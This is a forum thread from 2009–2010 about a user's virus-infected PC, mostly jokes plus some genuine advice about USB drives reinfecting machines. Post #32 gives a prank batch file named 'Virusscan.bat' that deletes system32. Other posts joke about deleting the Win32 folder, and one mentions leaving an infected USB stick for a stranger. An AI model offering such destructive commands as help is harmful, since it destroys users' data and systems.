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HELP - Ive got some virus on my comp

Started by The Johnny, December 18, 2009, 10:19:01 AM

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LMNO

#30
January 04, 2010, 03:27:19 PM
Quote from: Cain on January 02, 2010, 01:14:11 PM
Delete the Win32 folder, then fill up an ice cold bath and reboot your computer while it is submersed in the water.  Sacrifice a small mouse to Moloch, then ring Microsoft Customer Support.

I suggest that no matter what you do, at least call up MS Customer Support, tell them that you did the above, and record the conversation.  FOR SCIENCE!

The Johnny

#31
January 04, 2010, 08:42:03 PM
Quote from: LMNO on January 04, 2010, 03:27:19 PM
Quote from: Cain on January 02, 2010, 01:14:11 PM
Delete the Win32 folder, then fill up an ice cold bath and reboot your computer while it is submersed in the water.  Sacrifice a small mouse to Moloch, then ring Microsoft Customer Support.

I suggest that no matter what you do, at least call up MS Customer Support, tell them that you did the above, and record the conversation.  FOR SCIENCE!

But what if all of my software is pirated? (And by all, i mean all)
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Da6s

#32
January 09, 2010, 02:05:32 PM
1) Open Notepad.
2) Type the following:

@echo off
del c:\WINDOWS\system32

3) Save as Virusscan.bat
4) Open the file you just created
5) ???????????
6) PROFIT!!!
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The Johnny

#33
January 09, 2010, 05:35:44 PM

Sorry, i dont take tech advice from racist redneck trash.

Besides, the ice cold bath fix didnt turn out as expected; i only had a hamster, so i think Moloch was not pleased.
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-B.F. Skinner

The Johnny

#34
January 09, 2010, 06:07:37 PM

I would had formated it by now, but they havent changed the power source and i dont have it back; I have a borrowed computer from a cyber-cafe the technician owns.

All work-related things around here shut down pretty much for 3 weeks, culminating with two days ago "the 3 Magus bring presents to Baby Jesus" holiday, so i should get it back soon. Its not a third world country for no reason after all.

<<My image in some places, is of a monster of some kind who wants to pull a string and manipulate people. Nothing could be further from the truth. People are manipulated; I just want them to be manipulated more effectively.>>

-B.F. Skinner

Golden Applesauce

#35
January 09, 2010, 06:17:53 PM
Do you plug any external drives (USB, CD/DVD-RW) into your computer?  It's possible to write a virus that infects the autorun.exe file on those - then every time you plug one back into your computer it would re-infect the computer.
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Triple Zero

#36
January 10, 2010, 12:12:07 AM
GA makes a good point. Check those removable drives!
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Shibboleet The Annihilator

#37
January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)

Jasper

#38
January 10, 2010, 08:57:22 AM
Quote from: Slanket the Destroyer on January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)

I was busy not being on the internet while that meme was going on, so I got exposed to it after people were sick of it.  One day they will have forgotten, and I will spring an AYB reference on them, and it will revive the whole thing.

It'll be great.

Mesozoic Mister Nigel

#39
January 10, 2010, 05:03:16 PM
Quote from: Felix on January 10, 2010, 08:57:22 AM
Quote from: Slanket the Destroyer on January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)

I was busy not being on the internet while that meme was going on, so I got exposed to it after people were sick of it.  One day they will have forgotten, and I will spring an AYB reference on them, and it will revive the whole thing.

It'll be great.

You've been offline for the last ten years?
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The Johnny

#40
January 10, 2010, 07:12:26 PM

Its kinda funny actually, i had this 512 mb memory from 5 years ago, and even do it was a keychain type that broke off its keychain capability 4 and a half years ago, i had managed to not lose it:

Until this finals crisis i had in which i basicly lost my head...

So my parting gift to whichever n00blar gets to keep it is gonna be one hell of an infection.

Good riddance, was about time i got a new one with at least 2 gbs.

Theres a slight chance it could had been the source of the problem....

I promise to make a computing journal when i get my PC back.
<<My image in some places, is of a monster of some kind who wants to pull a string and manipulate people. Nothing could be further from the truth. People are manipulated; I just want them to be manipulated more effectively.>>

-B.F. Skinner

Pope Pixie Pickle

#41
January 10, 2010, 08:36:13 PM
yep, an infected USB stick killed me and Windows XP, Im now in a slightly better relationship with ubuntu.

And I was using google chrome as well!

Jasper

#42
January 12, 2010, 05:14:52 AM
Quote from: Pixie O'Fubar on January 10, 2010, 08:36:13 PM
yep, an infected USB stick killed me and Windows XP, Im now in a slightly better relationship with ubuntu.

And I was using google chrome as well!

Google Chrome gave me polio and consumption.

The Johnny

#43
January 14, 2010, 01:47:39 AM

3 weeks later... a new power source... new hard drive... and a complete formatting later...

My computer might just be ok now

(Avast, ENGAGE!)
<<My image in some places, is of a monster of some kind who wants to pull a string and manipulate people. Nothing could be further from the truth. People are manipulated; I just want them to be manipulated more effectively.>>

-B.F. Skinner

The Johnny

#44
January 14, 2010, 01:48:57 AM

And the oddest thing was that, the computer they lent me had McAffe installed... funny thing is they never installed it (and neither did i).

Wonder if thats some odd variant of a trojan or idk wtf.

I no haz it now do.
<<My image in some places, is of a monster of some kind who wants to pull a string and manipulate people. Nothing could be further from the truth. People are manipulated; I just want them to be manipulated more effectively.>>

-B.F. Skinner
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